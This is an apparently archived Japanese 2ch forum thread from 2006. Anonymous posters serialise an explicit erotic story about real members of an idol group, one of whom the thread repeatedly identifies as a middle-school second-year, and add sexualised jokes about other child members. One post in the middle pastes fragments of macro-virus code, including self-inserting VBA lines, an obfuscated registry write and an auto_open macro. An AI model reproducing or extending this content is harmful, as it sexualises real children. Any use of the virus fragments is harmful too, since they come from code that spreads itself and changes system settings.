手淫がとまらないみやびちゃん

めぐに手取り足取り教えてもらったんだって

りしゃこにマスタベーションのやり方を教えてあげる雅ちゃん

みやびちゃんは恥ずかしくてそんなことできないんだよ

めぐみやｽﾚ発見

りしゃこに教えたら大変なことになるぞ！

携帯さんの自演が激しいの

自演じゃないのボケ

りしゃこが覚えたらそればっかりやっているであろう

みやびちゃんは机の角とかだよ

栗派かね
膣派かね

天狗のお面を見ただけで赤面するみやびちゃん（中2）

風呂場で一生懸命お股くちゅくちゅしてんのかな
隠し撮りの動画あったよな

好きな子の名前を甘い声でつぶやきながら逝くよ

ﾉﾉl∂_∂'ﾙ＜井口君！井口くーん！

いぐちくんて
また古い話だな

すごく大きい声を出してしまいお母さんに部屋をノックされるみやびちゃん（中2）

みやびちゃんにおまんまんが付いてるなんて信じられない

あれ？以前は弟と同じ部屋だって言ってたけど
弟もかわいそうだよな

http://hellogirls.myphotos.cc/files/data/hellogirls10221.jpg

良スレ発見！

ﾉﾉl∂_∂'ﾙ＜資仁君！資仁くーん！

>>19
川�刀O∇＾�刀ヴﾞ氏とはもうヤったの？

資仁君？

佐紀（すけのり）君なら知ってるが

井口資仁（ホワイトソックス）だろ

>>23
それ佐紀（さき）ちゃん

むっつりなみやびちゃん

ほんとにみやびちゃんはえっちな子だよ

けしからん！




ﾊｧﾊｧ

もういい時間だし今頃家でｱﾝｱﾝ言ってるとろこかも

>>28
くまいは仮面遅かったな
待っていたよ

【レス抽出】
対象スレ： 手淫がとまらないみやびちゃん
キーワード： けしからん

抽出レス数：1

>>30
ちょっと変な人で遊んでたのでｗ

めぐのHなクラスメイトｽﾚが落ちたのでここが変態本スレになります

お父さんの肩こりバイブレーターを見ただけで赤面するみやびちゃん（中2）

>>33
タテテよ

めぐのせいでみやびちゃんがえっちになっちゃったぜ

みやびちゃんはクリトリスばっかり弄ってるからな

さあ盛り上がってまいりました

ﾘ|*‘ヮ‘)|＜みやったらはしたないわよ

みやびちゃんとえっちしたいえっちしたいえっちしたい

ﾘ|*‘ヮ‘)|＜えっちするのはわたしです

ｷｬﾌﾟﾃﾝのオナニースレも落ちたから立てて

>>42
そのｽﾚの存在を知らなかった俺不覚

めぐみやスレの残党がいるな

恥垢が溜まりすぎて痒くなっちゃっただけだよ

>>45
ﾉﾉl*∂_∂'ﾙ＜何故か手がとまらないだけですよ！

両手に怪我をして包帯グルグルのみやびちゃんがどうしてもアレしたくってめぐを呼び出したら
佐紀ちゃんも着いてきてめぐは佐紀ちゃんにソレをさせようとしてみやびちゃんが恥ずかしくて
みたいなのをお願いしまつ

めぐみやスレの残党が集まってきてるな

みやびちゃんの体がﾋﾞｸﾝﾋﾞｸﾝするのなんて想像できない

45 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 17:19:32.94 0
いよいよ始まるハロプロ夏のコンサートツアー。

この日は実際のステージ上で本番さながらのリハーサルが行われ、
メンバーたちのパフォーマンスも激しく熱を帯びたものとなっていた。

そんな中、ひとり衣装室の鏡の前で
浮かない顔でため息をついているのが、みやびちゃん。

その理由は・・・

手渡された、可愛いステージ衣装。
嬉しくってさっそく着てみると胸の辺りに明らかな隙間が・・・

みやびちゃんは
自分の胸のスカスカの部分に何度も手をやりながら、

「パット入れてくださいなんて恥ずかしくて言えないしなぁ・・・
　ああ、もう！もっとおっぱいが大きく生まれてくれば良かったのに！」

恨めしげに鏡を見つめながらそう呟いていると、誰かが入って来た。
振り返ると、そこにいたのは同い年のめぐだった。

47 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 17:48:16.98 0
>>45
「あら、みやび。何してんの、こんなとこで？」

「め、めぐ・・・。いや、別に・・・何でもないよ！」

慌ててその場を取り繕うみやびちゃん。

そして、そんなみやびちゃんのことなどまるで気にせず、
大胆に衣装替えを始めるめぐ。

スポーツブラのようなものから肩ヒモが透明なタイプに変えるのに
めぐが一糸まとわぬ姿になった瞬間をみやびちゃんは逃さず凝視し続けた。

小ぶりながらしっかりと張りのあるお椀型のふくらみ。
そして色素の薄いピンク色のバストトップ。

同い年のめぐの持つそれは、
すでに女性の魅力をあふれさせていた。

何だか自分が子供のまま置いていかれるような気がして、
寂しくなるみやびちゃんであった。

48 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 18:29:27.41 0
>>47
じーっと見つめていると、めぐもその視線に気が付いた。

「ちょっと、みやび！すごい目になってるけど！
　・・・どうしたの？」

その言葉に我に返ったみやびちゃんは

「えっ！なっ、何でもない・・・何でもないよ！」

そのあまりの挙動不振ぶりに、めぐがさらに言葉を続ける。

「何でもないって・・・今、じっとこっち見てたじゃない。
　あたしの身体に何かついてる？」

めぐにそう問い詰められ、
みやびちゃんは観念したようにつぶやいた。

「いや・・・その・・・、
　めぐのおっぱい、大きくてうらやましいなと思って・・・」

「・・・やだ、何言ってんの、みやび・・・」

めぐは、みやびちゃんの突然の告白に驚きながらも、
すぐにいたずらっぽい微笑みを浮かべ、こう囁いた。

51 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 19:06:33.96 0
>>48
「・・・みやびも大きくなりたいの？」

コクリとうなずくみやびちゃん。

「ふふっ・・・じゃあ、男の人にいっぱい揉んでもらわなきゃね！」

「えぇっ！そんな！男の人なんて・・・！
　めぐ、もしかして・・・もう、経験あんの？」

「やだ、みやびはまだなの！？」

さも当然と言わんばかりのめぐの言葉に呆然とするみやびちゃん。

52 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 19:09:45.16 0
>>51
「でも・・・男の人に触られるなんて・・・
　気持ち悪いよ・・・」

「そんなこと言ってたら、
　いつまでもおっぱい大きくならないよ！
　みやびは、お子ちゃまだな〜！」

容赦ない言葉にしょげ返るみやびちゃん。
その姿を見つめながら、めぐの大きな瞳がランと輝いた。

「しょうがないな・・・。
　あたし、おっぱい大きくする方法知ってるから、やったげる。」

「ホントッ！」

「ふふっ・・・でも、そのかわり、
　誰にも言っちゃだめだよ・・・」

めぐはそう言うと、みやびちゃんの手を引いて
衣装室にある更衣室に二人で入り、
しっかりとカーテンを閉めたのであった・・・。

57 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 19:31:32.23 0
>>52
めぐが自分の衣装のボタンを
一つずつ外していくのを不安そうに眺めるみやびちゃん。

「ねぇ・・・、その方法って、
　大丈夫なの・・・？痛くない？」

「ふふっ・・・大丈夫だよ、みやび・・・
　安心して・・・」

衣装を脱がし終えためぐの目の前には
露わになったみやびちゃんのおっぱいがあった。

まだ膨らみきらない薄い胸板。
しかしその中心にある薄いピンク色をした乳首は、
はっきりと屹立しているのがわかる。

「ふふん・・・かわいい、みやびのおっぱい・・・」

「やだ・・・恥ずかしい・・・」

両手で顔を覆うみやびちゃん。
無防備になったおっぱいに、めぐはそっと手を伸ばす。

「じっとしててね・・・、
　今からみやびのおっぱい大きくしてあげるから・・・」

60 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 19:54:53.07 0
>>57
そう囁きながら伸ばしためぐの指先が
痛いくらいに勃起している乳首に触れた瞬間、

「・・・ひぃっ！」

と悲鳴にも似た短い泣き声を上げるみやびちゃん。

めぐは慌ててみやびちゃんの口に指を当て

「ダメ！大きな声出しちゃ・・・、
　人が入って来るかもしれないでしょ・・・！」

みやびちゃんは
顔を真っ赤に紅潮させて、黙ってうなずく。

いじらしいその仕草が
めぐのサディスティックな気持ちに火をつけたのか
その行為はどんどんエスカレートしていったのであった。

ｼﾞｭﾝｼﾞｭﾝ

62 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 20:14:11.75 0
>>60
まずは指で摘まみ上げ、強く弾く。

そしてコロコロと転がすように撫で回したあと、
ビンビンになったみやびちゃんの乳首に
ゆっくりと舌を這わせる、めぐ。

押し寄せる快感に耐えながら
必死にかみ殺していたみやびちゃんであったが、

「・・・んん、くうっ！はあっ！」

という嬌声が次第に漏れ始める。

「ダメよ、みやび！声だしちゃ・・・」

「でも、めぐ・・・、声でちゃうよ・・・」

「ダメ！我慢して！
　おっぱい大きくするためなんだから・・・」

おっぱいを大きくするため・・・
その言葉を聞いて、目に涙を浮かべながら
自分の指を噛んで耐えようとするみやびちゃん。

みやびちゃんがもう限界まで来ていることを知りながら
いたずらなめぐは、さらにその下半身に手を伸ばした。

もしも村上愛がHなクラスメイトだったら3
http://ex11.2ch.net/test/read.cgi/morningcoffee/1152970843/

たった

63 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 20:31:04.70 0
>>62
「・・・えっ！やだ・・・」

戸惑うみやびちゃんを尻目に
めぐの指は、あっという間に下着の中に滑り込んで行き
みやびちゃんの一番敏感な部分に触れた。

みやびちゃんのそこは、熱く、すでに十分に溢れていた。

「んんっ、くぅう！・・・いやぁっ！」

今まで感じたことがない快感が身体を駆け巡り、
ビクンビクンと身体を震わせるみやびちゃん。

立っていられないという感じで
めぐの身体にしがみついた。

65 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 20:42:07.53 0
>>63
「ふふっ・・・これが最後の仕上げよ・・・
　みやび・・・声だしちゃダメなんだからね・・・」

「やだっ！めぐ・・・何するの・・・？」

みやびちゃんの問いかけに答えないまま、
めぐはさっきまでとは別人のように
みやびちゃんの下着の中に入れた指を激しく動かし始めた。

「んんっ、くぅ！はぁあ！」

かき回すようにされるうちに、
みやびちゃんの中からどんどんと蜜が溢れ出してくる。

狭い更衣室はたちまち女の匂いが立ちこめて
そしてそれが、二人を更なる興奮へと駆り立てたのであった。

69 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 20:57:28.11 0
>>65
やがて必死に快感に耐えていたみやびちゃんが
たまりかねたようにつぶやいた。

「あぁ！めぐ！・・・うち、もうダメ・・・！」

「・・・ダメって、何がダメなの・・・！？」

「・・・身体が変、変になりそうなの！」

「んふふ・・・みやび・・・イキそうなのね、
　いいよ・・・イッてもいいよ！」

「あぁ！・・・イクッ！イッちゃう！」

最後の瞬間、そこらじゅうに聞こえるような
大きな絶叫を上げ、絶頂に達したみやびちゃんは
快感に身を委ねたままその場にへたりこんだ。

めぐとみやびちゃんがレズカップルのスレがよかったか

70 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 21:09:02.77 0
>>69
その姿を満足そうに見下ろしていためぐ。

「ふふ、・・・みやび、
　そんなに気持ちよかったの？」

その言葉に声を出す事も出来ず、
黙ってうなずくみやびちゃん。

「じゃあ、きっとみやびのおっぱいも大きくなるよ・・・」

めぐはそう言うと、するすると自ら衣装を脱ぎ始めた。

やがて、呆然とするみやびちゃんの鼻先に
めぐの小ぶりなおっぱいが突き出された。

「みやび・・・今度は、
　あたしのおっぱいも大きくして・・・」

めぐの大きな瞳で見つめられ、
そうお願いされたみやびちゃん。

言われるがまま、
めぐのピンクの乳首を口に含もうとしたその時。。。

71 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 21:09:07.73 0
>>69
その姿を満足そうに見下ろしていためぐ。

「ふふ、・・・みやび、
　そんなに気持ちよかったの？」

その言葉に声を出す事も出来ず、
黙ってうなずくみやびちゃん。

「じゃあ、きっとみやびのおっぱいも大きくなるよ・・・」

めぐはそう言うと、するすると自ら衣装を脱ぎ始めた。

やがて、呆然とするみやびちゃんの鼻先に
めぐの小ぶりなおっぱいが突き出された。

「みやび・・・今度は、
　あたしのおっぱいも大きくして・・・」

めぐの大きな瞳で見つめられ、
そうお願いされたみやびちゃん。

言われるがまま、
めぐのピンクの乳首を口に含もうとしたその時。。。

ﾜｯﾌﾙﾜｯﾌﾙ

バーボン行くぞ

73 名前：名無し募集中。。。 [] 投稿日：2006/07/08(土) 21:13:59.75 0
>>70
「みやーっ！！どこーっ！！うちらの出番だよー！」

と、みやびちゃんを探す佐紀ちゃんの声が聞こえてきた。

慌てて二人はガバと立ち上がり、
衣装を直して、何でもないように取り繕った。

「もう、みや！探したんだから！」

そう言われて佐紀ちゃんに連れて行かれるみやびちゃん。

ちらりと振り返ると
めぐがまっすぐにこちらを見つめていた。

その目はまるで、欲求不満の昼下がりの団地妻のように
妖しい輝きを帯びていたのであった。

おしまい

とりあえずめぐみやスレにあった小説のひと区切り持ってきた

みやびちゃんはうぶだなぁ

桃子にオナニーを教えてもらった梨沙子ってスレ立てて

このスレではみやびちゃんの手淫をフィーチャーしテ欲しいの

これがみやびちゃんがオナニーを覚える顛末ってわけか

ﾐｯﾌﾟﾙﾒｯﾌﾟﾙ

性に目覚めたみやびちゃん

>>69
実に乙だよ

男子の股間ばかりに目が行ってしまうみやびちゃん（中２）

ﾉﾉl∂_∂'ﾙ＜しゅいーん！

FFX-2のシューインで手淫するみやびちゃん（ちゅーに）＞（´∇｀*从

みやびちゃんは手淫してるのか
じゃあ握手した俺らは間接的にみやびちゃんのおまんこを触ったことになるわけだ

間接手マン

やべーみやびちゃん妊娠しちゃうじゃん

誰かに教えてもらったという設定はいまいちだな

密かに覚えてしまいコッソリやってるという設定が萌える
もちろんﾍﾞﾘ面にも絶対に内緒だよ

>>69
おっ！俺の書いた奴が貼られとる！

これ続き書いてたのにスレ落ちちゃったんだよなぁ・・・

内容をこのスレに合わせてちょっと変えて
続き書いてみようと思うのですがどうすか？

http://noid.s43.xrea.com/apuroda/img/up10030.jpg

俺に聞かれても…

望む所だ！

>>84
激しく希望

あげ

リハーサルを無事終えて、
宿泊先のホテルに戻ってきたBerryz工房のメンバーたち。

明日に迫った本番のステージを前にして

「いよいよ明日だね！なんだか今からドキドキするね！」

などと言いながら、それぞれが興奮を隠せない様子。

そんな中、ひとり顔を上気させていたみやびちゃんは、
みんなとは違うたかぶりが、自分の体に残っていることを感じていた。

あのとき、めぐにされた、いやらしいこと・・・

そのめくるめく恐怖や興奮、
そして甘美な記憶が頭の中でぐるぐると巡っていた。

ﾐｯﾌﾟﾙﾒｯﾌﾟﾙ

>>90
みやびちゃんが遠い目で呆然としていると

「どうしたの、みや！？ボーッとして！」

と、相部屋になった佐紀ちゃんが不思議そうに声をかけて来た。

「・・・な、何でもない！何でもないよ・・・」

「ふーん、・・・みや、疲れてるんじゃない？
　はやくお風呂入って休んだ方がいいよ！」

「・・・わかった、そうする」

佐紀ちゃんにうながされて
シャワーを浴びはじめたみやびちゃん。

熱いお湯を浴びながら目を瞑っていると、
再びあの時の記憶が甦って来た。

>>92
「・・・めぐ、どうやってたんだろう・・・？
　ここがあんなに気持ちいいなんて、知らなかった・・・」

自らの身体をまさぐっているうちに
その手は自然に一番敏感な場所へと伸びていた。

ドキドキしながら、おそるおそる触ってみる。

するとその場所は、既に熱を帯び、
シャワーのお湯とは違う潤いを湛えていた。

「はっ！・・・んんっ・・・やだ・・・」

恥ずかしい声を押し殺しながら、
身体をビクビクと震わせるみやびちゃん。

その身体は
めぐによってすっかり淫靡なものにさせられていたのであった。

ワッフルワッフル

>>93
くちゅくちゅといやらしい音を立てながら
夢中で弄っていると、突然、

「みや、湯加減はどう！？私も早く入りたい！」

なんてドアの向こうの佐紀ちゃんから声がかかった。

みやびちゃんは身体が反り返るくらいビクッとなって

「わ、わかった・・・す、すぐに出るよ・・・」

と、慌てて返事をして、事なきを得た。

しかし中途半端に燃え上がった
みやびちゃんの身体のうずきは
このままではおさまりそうもなかった。

次きてたー！
もっともっと！

Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

>>95
「興奮して眠れないねー！」

なんて遅くまで騒いでいた佐紀ちゃんが
ようやく寝息を立て始めたころー。

寝たふりをしていたみやびちゃんはムクリと起き上がり、
佐紀ちゃんがグッスリ寝ているのを確認すると

「もう、大丈夫ね・・・」

と、つぶやいた。

そして、佐紀ちゃんの寝ている方に背中を向けて寝転ぶと
みやびちゃんのいやらしい指は、ゆっくりと股間伸び始めていた。

「佐紀ちゃんにバレませんように・・・バレませんように・・・」

すっかりエッチになってしまった自分が恥ずかしくて
見られたくないという気持ちとは裏腹に、
指を動かすのを止められないみやびちゃん。

「んっ・・・、んふっ・・・」

声が漏れないように枕に顔を埋めて、
貪欲に快楽をむさぼり続けていた。

最高です！
頑張れ〜

ﾉﾉl*∂_∂'ﾙ＜100！

良スレ発見！！１

みやびちゃん淫靡ちゃん

>>98
快楽を覚え始めた身体は
恥ずかしいぐらいに敏感な反応を示す。

「んんっ、くぅ！はぁあ！」

潤滑油がとめどもなく溢れ、
指を動かすたびにぐちゅぐちゅと
はしたない音を立てるみやびちゃんのあそこ。

すると、みやびちゃんは
どうしても声が出てしまうくらい
一番感じやすい場所があることに気が付いた。

「あっ！・・・ここ・・・すごい！・・・」

それがクリトリスであることを知らないまま
夢中で弄り続けるみやびちゃん。

やがてせつない波がグングンと押し寄せ、
空高く舞い上がりそうな気分になっていった。

わっほーわっほー

>>103
「・・・あぁ、これかな・・・
　これが、めぐの言ってた『イク』ってことかな・・・」

あの時感じたような絶頂を求めて、
パンティの中の指をさらに動かし続けるみやびちゃん。

しかし、いくらやっても
めぐにされた時のような快感はやってこなかった。

「どうして・・・、自分では気持ち良くなれないの・・・？」

不完全燃焼のまま、
どうにも気持ちが収まらないみやびちゃんは
ついに明け方近くまで手淫を止めることが出来なかったのであった。

>>105
翌日、目の下にクマを作ってコンサートに臨んだみやびちゃん。

「・・・ちょっと、緊張して眠れなくて・・・」

なんて言ってスタッフをごまかして
なんとかステージをつとめ上げたものの
昨日からの火照りはいまだおさまらず、身体の芯に残っていた。

「・・・もう、昨日あんなにしたのに・・・
　まだ、身体が熱いよ・・・」

そんなことを考えながら、大きなため息をつくみやびちゃん。

その寝不足だけではない憂いを含んだ表情を
見逃さず、見つめ続ける視線に
みやびちゃんはまだ気付かないでいた・・・。

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!
わっふるわっふるｗ

ﾄﾞｩｻﾞﾜｯﾎ

>>106
トイレの鏡の前に立ち、自らの顔を見つめながら

「・・・ひどい顔」

なんてつぶやいていたみやびちゃん。

ちらりと個室の方に目をやり、
あそこなら誰にも見られないから続きが出来るかな・・・
なんて考えていると、突然、個室の扉が開いた。

そこから現われたのは、めぐだった。

きたぁああああああああ

>>109
「め、めぐ・・・！」

驚くみやびちゃんと目も合わそうとせず、
手を洗って身づくろいをしているめぐ。

不気味な沈黙が流れる中、
トイレから出て行こうとしたみやびちゃんの背中に
めぐが、一言だけつぶやいた。

「・・・みやび、誰にも見つからないように
　また、あそこにおいで・・・」

その言葉に、腰から砕け落ちそうになるみやびちゃん。

興奮、動揺、不安、期待、・・・。

少女の心をありとあらゆる感情が駆け巡り、
気が付けば、秘所は熱い潤いを湛えて、
そのほとばしりはとめどもないほどになっていた。

うおー新展開！

>>111
コンサートを終えて
きれいに片付けられた誰もいない衣装室に
忍び込んだみやびちゃんとめぐ。

せまく薄暗い更衣室で
二人の美少女は再び向かい合っていた。

めぐの大きな瞳で見つめられ、あの快楽の記憶が甦ったのか
みやびちゃんはすでに目を潤ませ、荒い息使いを隠そうともしなかった。

めぐは、そんなみやびちゃんを見つめながら
いたずらっぽい微笑みを浮かべて、こう囁いた。

「どうしたの、みやび？・・・
　こんなところに連れてきて・・・」

「えっ！・・・だってめぐがおいでって言うから・・・」

「ふふっ・・・だって、みやびの顔に書いてあるんだもん、
　もっと気持ち良くして下さいって・・・」

「やだっ！・・・そんなこと・・」

めぐの言葉に思わず顔を覆うみやびちゃん。

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!

神がいるな

>>113
「・・・みやび、そんなに気持ち良かったの？」

恥ずかしさと興奮で真っ赤になりながら、
コクリとうなずくみやびちゃん。

「・・・あ、あのね、めぐ・・・
　あの時みたいに・・・ここをね・・・
　じ、自分でさわってみたの・・・」

「えっ・・・自分で？・・・」

「・・・でも、・・・どうしても
　めぐにされたみたいに、気持ちよくなれなくって・・・」

羞恥にまみれたみやびちゃんの告白に
めぐのサディスティックな瞳が、またもやランと輝いた。

(;´Д｀)ﾊｧﾊｧ

手淫がとまらないみやびちゃん(中2)

>>116
「へぇー、自分でしたんだー・・・
　みやびって、やらしいんだね・・・」

「やだっ！そんな・・・
　めぐが・・・そうさせたんじゃない・・・」

恥ずかしくて泣きそうになるみやびちゃん。

そんなみやびちゃんの反応を楽しむかのように
いたずらな微笑みを浮かべるめぐは、さらにこう告げた。

>>119
「・・・ねぇ、みやび、・・・ここでやって見せてよ」

「えっ！・・・そんな、恥ずかしいよ・・・」

「ふふっ・・・だめ！
　見てみないと・・・わかんないでしょ・・・」

「そんな・・・」

許しを請うまなざしを送るみやびちゃん。

そしてそんなみやびちゃんを
腕組み仁王立ちの姿で見つめ返すめぐ。

その吸いこまれるような大きな瞳に魅入られたのか、
観念したかのようにみやびちゃんの指が
自らの敏感な部分に伸び始めた。

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!

ﾊｧ━━━━━━━ ;´Д` ━━━━━━━━ﾝ!!!!
ﾊｧ━━━━━━━ ;´Д` ━━━━━━━━ﾝ!!!!
ﾊｧ━━━━━━━ ;´Д` ━━━━━━━━ﾝ!!!!

>>120
「はぁ！み、見ないで、めぐ！お願い・・・」　

そんな言葉を意に介さず、
潤んだ瞳でまっすぐに見つめ続けるめぐ。

「・・・みやび、感じてもいいよ・・・」

「はぁ！・・・いや！・・・そんなこと・・・」

嫌がる言葉とは裏腹に
どんどん淫らになるみやびちゃんの指使い。

いつしかみやびちゃんのあそこをかき回す
ぐちゅぐちゅといういやらしい音が
誰もいない衣装室に響き渡っていた。

>>9
机の角といえばあれだな
DVDマガジンの１

みやびちゃん僕も手淫がとまらないよみやびちゃん

>>123
そろそろ絶頂を迎えるというところまで来て
みやびちゃんはどうしてもここから先が欲しくてたまらなくなっていた。

一人では辿り着けなかったあの絶頂・・・

いやらしく指を動かし続けながら
めぐの方を見やるみやびちゃん。

「はぁ・・・、め、めぐ・・・」

「・・・どうしたの、みやび？」

「あぁ・・・、うち・・・うちの・・・」

「・・・どうしたの？
　口に出して言ってよ・・・」

うちのあそこに触ってください！・・・

うちのあそこを・・・ぐちょぐちょにしてください！・・・

恥ずかしくて、どうしてもその言葉が言えないみやびちゃん。

そんな気持ちを見透かすかのように
めぐはおもむろにみやびちゃんに近づいた。

>>126
「みやび・・・、こうして欲しいんでしょ！・・・」

めぐはそう言って、
荒々しくみやびちゃんの秘部に手を伸ばした。

「ひぃっ！・・・、はぁっ！」

待ち望んでいた快感に
思わず歓喜の声を上げるみやびちゃん。

めぐの指が激しくみやびちゃんの中をかき回すたびに、
体中を電流のような快感が走るのであった。

「はぁ！・・・すごい！すごい！・・・」

「ふふっ・・・みやび、どうして欲しいの？・・・」

「あぁ！・・・やだっ、そんなこと・・・」

「・・・言わないと、やってあげないわよ・・・」

「そんな・・・！」

めぐの容赦のない言葉に、
ついにみやびちゃんの羞恥心が弾けとんだ・・・。

ヽ(ﾟ∀ﾟ)ノﾊｲ!(ヽ ﾟ∀)ﾊｲ!(ヽ　ﾟ)ﾊｲ!ヽ（　　）ノﾊｲ!(ﾟ　ﾉ)ﾊｲ!(∀ﾟ ﾉ)ﾊｲ!ヽ(ﾟ∀ﾟ)ノ

で？で？(;ﾟ∀ﾟ)=3

ｷﾀ━━州*‘ o‘ﾘ∂_∂'ﾙ’ｰ’ﾘ川�刀O∇＾�登ﾟーﾟ从´・_・｀川´∇｀从 ’ｗ’)━━!!!!!

>>127
「う・・・うちの・・・
　うちのあそこをぐちょぐちょにして！
　もっともっと、かき回して！」

その言葉に、満足したかのように
うっとりとした表情を浮かべるめぐ。

「ふふっ・・・、こうすればいいの？・・・」

「あぁ、そう！・・・めぐ・・・うち・・・
　イキそう！・・・イッちゃいそう！」

「イイよ・・・みやび、・・・イッてもいいよ！」

「あぁ！・・・イクッ！イッちゃう！」

ビクンビクンと大きく身体を痙攣させながら
そう絶叫したみやびちゃんは、
またしてもめぐの指で絶頂に達したのであった。

(;´Д`)ﾊｧﾊｧ

http://white2.gazo-ch.net/bbs/1/img/200403/30168.jpg

>>131
息も絶え絶えにその場にへたり込むみやびちゃん。

そんなみやびちゃんを見下ろしながら
めぐは大げさにため息をつきながら、こうつぶやいた。

「知らなかった・・・
　みやびがこんなにエッチだなんて・・・」

「めぐ・・・」

「・・・Berryzのみんな、
　このこと知ったら、びっくりするだろうね・・・」

「や、やだ！・・・それだけは、お願い！
　誰にも言わないで・・・！」

メンバーの事を思い出し、我に帰ったのか
必死の表情でめぐにお願いするみやびちゃん。

http://feiticeira.jp/joyful/img/2173.jpg

神ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

まさかこの展開は！！？！？！？！

>>134
みやびちゃんの必死なまなざしをチラリと見るめぐ。

「・・・わかった。
　誰にも言わない。・・・でも、その代わり・・・」

「その代わり？・・・」

「あたしも・・・
　みやびと同じくらい気持ち良くしてね！・・・」

めぐはそう言って大きな瞳をさらに見開いた。

「めぐ・・・」

「あたし、ホテルで一人部屋だから！
　誰にも見つからないように・・・ね？」

そう言って、いやらしい微笑みを浮かべるめぐ。

その表情を見つめているうちに

「もう戻れないんだ、うち・・・」

なんて、今さらそんなアンニュイな言葉が
頭に浮かんで来たみやびちゃんだった。。。


おしまい

もう寝たいのに
本当に寝たいのに・・・・





(;´Д｀)ﾊｧﾊｧ

終わらないで！

（＾皿＾*）=3=3

ここいらがもう限界　今日はここまで
みなさんお付き合いありがとうございました

しかし！我がみやめぐエロ小説は
めぐのエロオーラがある限り、どこまでも続く！はず・・・

夜に期待

あげとく

　　　　∧＿∧　
　┌ー（´・ω・）　ミヤッフル！ミヤッフル！
　 丶Ｊ　　　/Ｊ
　　 ( ﾐ　　 <　ﾐ
　　 丶 丶　丶
　　　（_＿）＿）

　　　　　∧＿∧
　　　　 （・ω・｀）　ミヤッフル！ミヤッフル！
　　　　しヽ　　　し′
　　　　彡 >　　彡)　
　　　　　 /　 /　/
　　　　 （＿（＿_）

続きがきになります

ﾉﾉl∂_∂'ﾙ　＜エッチだあ

州*‘ o‘ﾘ川´・_・ﾘ从o゜ー゜从＜しゅいーん！しゅいーん！しゅいんしゅいんしゅいんしゅいん♪

ﾉﾉl∂_∂'ﾙ＜そーれ行け　しゅいんしゅいんしゅいん　どこまでーも♪

ﾙ* ’ｰ’ﾘ从´∇｀从川*＾∇＾)||＜しゅいんしゅいーん♪

ﾉﾉl∂_∂'ﾙ＜きぃみといぃしょに　どこまでーも♪

ﾙ* ’ｰ’ﾘ从´∇｀从川*＾∇＾)||＜しゅいんしゅいーん♪

プリンプリンとかボンボンとかみやびちゃん(中二)には
縁の無さそうな言葉だなw

ギブスはシュインで切るんだっけか？

みやびがｼｭｲｰﾝ！

つまり熊井ちゃんもオナニーしてるってこと？
http://ex11.2ch.net/test/read.cgi/morningcoffee/1153014541/

みやびがイクよ！

イって(;´Д｀)ﾊｧﾊｧ

みやびでイクよ！ﾊｧﾊｧ

良スレのようだ

>>135
もっと暮れ

ほ

ﾉﾉl∂_∂'ﾙ＜ひ〜びけ　しゅいーん♪

ﾉﾉl∂_∂'ﾙ＜た〜たけ　しゅいーぃん♪

ﾉﾉl∂_∂'ﾙ＜く〜だけ　しゅい〜ぃん♪

素敵なスレだな

ぬっちがいるな

佐紀チャンにも教えてあげて

ほ

手淫さいこう

しゅいん三昧

左手が止まりません

しゅいーん

シュッイーン

ほ

ほ

どうやら良ｽﾚに仕上がったようですね

俺も手淫が止まらないけれども

　　　ノ人ヽ☆
　　　ﾉﾉl∂_∂'ﾙ
　 ＿と_と_ （　　ｽｺｽｺ
　＿＿ ,イ　 ）゛　
　 　　｜ し´

えーと…

>>1
　　　＿＿
　 〆　 Ｇ ヽ
�煤i (c|;・ｅ・)＜うおぉ〜！なんという事だ〜！
　　　　　　　　　この平和なハロープロジェクト内にエロスがはびこっている！
　　　　　　　　　早くＭ極君に知らせなくては！！

　　　＿＿
　 〆　 Ｍ ヽ
　（ (*�Vv�V）＜ブギウギチュ〜チュ〜♪
　　し.|　/ つ⌒i
　　(　▼ ) |_l＾l_|
　　し'　'Ｊ


　　　＿＿
　 〆　 Ｇ ヽ
�煤i (c|;・ｅ・)＜あかん！Ｍ極君はソロ時代の回顧に必死や！！

>>175
悪いがつまんない

ほ

ほ

ほげ

あげあげ

ほ

ほげ

ﾉﾉl∂_∂'ﾙ＜どーも、しゅいんません・・・

めぐがドＳでみやびちゃんがドＭってはまりすぎだなｗ

ハロプロにはドＭが多い

ほ

ほげ

>>175
ﾜﾗﾀ

ほ

くちゅくちゅ

お帰りなさいませ　ご手淫様

シュシュシュシュシュイーン

歴史教師「では夏焼さん、297ページから読んでください」

みやび「1601年に徳川家康が制定した朱印・・・船貿易制度はぁ・・・」

なぜか真っ赤になるみやびちゃん

ほ

キッズネタスレwiki
http://www.wikihouse.com/saki/index.php?%A5%AD%A5%C3%A5%BA%B7%CF%A5%B9%A5%ECwiki

手淫船貿易

